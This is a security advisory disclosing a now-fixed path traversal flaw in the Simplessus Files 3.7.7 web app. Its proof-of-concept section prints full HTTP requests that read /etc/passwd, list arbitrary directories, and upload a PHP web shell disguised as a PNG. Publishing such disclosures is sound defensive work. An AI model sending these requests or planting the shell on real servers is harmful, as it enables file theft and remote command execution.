[SYSS-2017-004] Simplessus Files: Path Traversal

Advisory ID: SYSS-2017-004
Product: Simplessus Files
Manufacturer: Simplessus
Affected Version(s): 3.7.7
Tested Version(s): 3.7.7
Vulnerability Type: Path Traversal (CWE-22)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: January 25, 2017
Solution Date: January 25, 2017
Public Disclosure: February 16, 2017
CVE Reference: Not yet assigned
Author of Advisory: Dr. Adrian Vollmer, SySS GmbH

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Product overview:

Simplessus Files is a file sharing web application.

The manufacturer describes the product as follows (see [1]):

    Simplessus Files is a simple software solution to exchange files and
    documents over the internet. No more file sharing via e-mail, FTP or
    CD-ROM with Simplessus Files replace very large files online easily.

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Vulnerability overview:

Due to insufficient filtering of user controlled input, Simplessus Files is
vulnerable to a path traversal weakness.

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Vulnerability Details:

It is an obvious feature that users of the web application can download and
upload files and list directories. However, this should be restricted to
their own files and directories. Simplessus Files allows path traversal such
that any user can read and write any file that the system user which owns
the web server process has access to.

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Proof of Concept (PoC):

The following request can be used to read the file /etc/passwd:


POST /?action=FS&download=1 HTTP/1.1
Host: <HOSTNAME>
Cookie: UWA_SID=0b2jre4jk217uegjso2qmabrm1; UWA_username=player2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 110

cmd=download&path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd


The following request can be used to upload files to arbirtray directories
in the file system (assuming www-data has write permissions):


POST /?action=FS&upload=1 HTTP/1.1
Host: <HOSTNAME>
Content-Length: 899
Content-Type: multipart/form-data; boundary=---------------------------2005325381163152094834751695
Cookie: UWA_SID=0b2jre4jk217uegjso2qmabrm1; UWA_username=player2
Connection: close

- -----------------------------2005325381163152094834751695
Content-Disposition: form-data; name="name"

o_1b6c3dbioah31hb0ijs5f911cja.png
- -----------------------------2005325381163152094834751695
Content-Disposition: form-data; name="chunk"

0
- -----------------------------2005325381163152094834751695
Content-Disposition: form-data; name="chunks"

1
- -----------------------------2005325381163152094834751695
Content-Disposition: form-data; name="path"

fs/player2/TEST/../../../../../../../../../var/www/writeabledir/
- -----------------------------2005325381163152094834751695
Content-Disposition: form-data; name="fname"

ox2wdkplp3biex-syss.php
- -----------------------------2005325381163152094834751695
Content-Disposition: form-data; name="file"; filename="test"
Content-Type: image/png

<?php system($_REQUEST['c'])?>
- -----------------------------2005325381163152094834751695--


The following request can be used to list all files inside any directory in
the file system:

POST /?action=FS&folder_content=1 HTTP/1.1
Host: <HOSTNAME>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 90
Cookie: UWA_SID=0b2jre4jk217uegjso2qmabrm1; UWA_username=player2
Connection: close

userId=0&nodePath=fs%2Fplayer2%2FTEST/../../../../../../../../etc/&dummy=dummy


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Solution:

Update to software version to 3.8.3.

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Disclosure Timeline:

2017-01-13: Vulnerability discovered
2017-01-25: Vulnerability reported
2017-01-25: Vendor confirmation
2017-02-15: Public disclosure


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References:

[1] Product website for Simplessus Files
    http://files.simplessus.com
[2] SySS Security Advisory SYSS-2017-004
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2017-004.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/news/responsible-disclosure-policy/

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Credits:

This security vulnerability was found by Dr. Adrian Vollmer of SySS GmbH.

E-Mail: adrian.vollmer@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Adrian_Vollmer.asc
Key ID: 0x037C9FE7
Key Fingerprint: 70CF E88C AEE7 DB0F 5DC8 3403 0E02 7C7E 037C 9FE7

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Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.

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Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en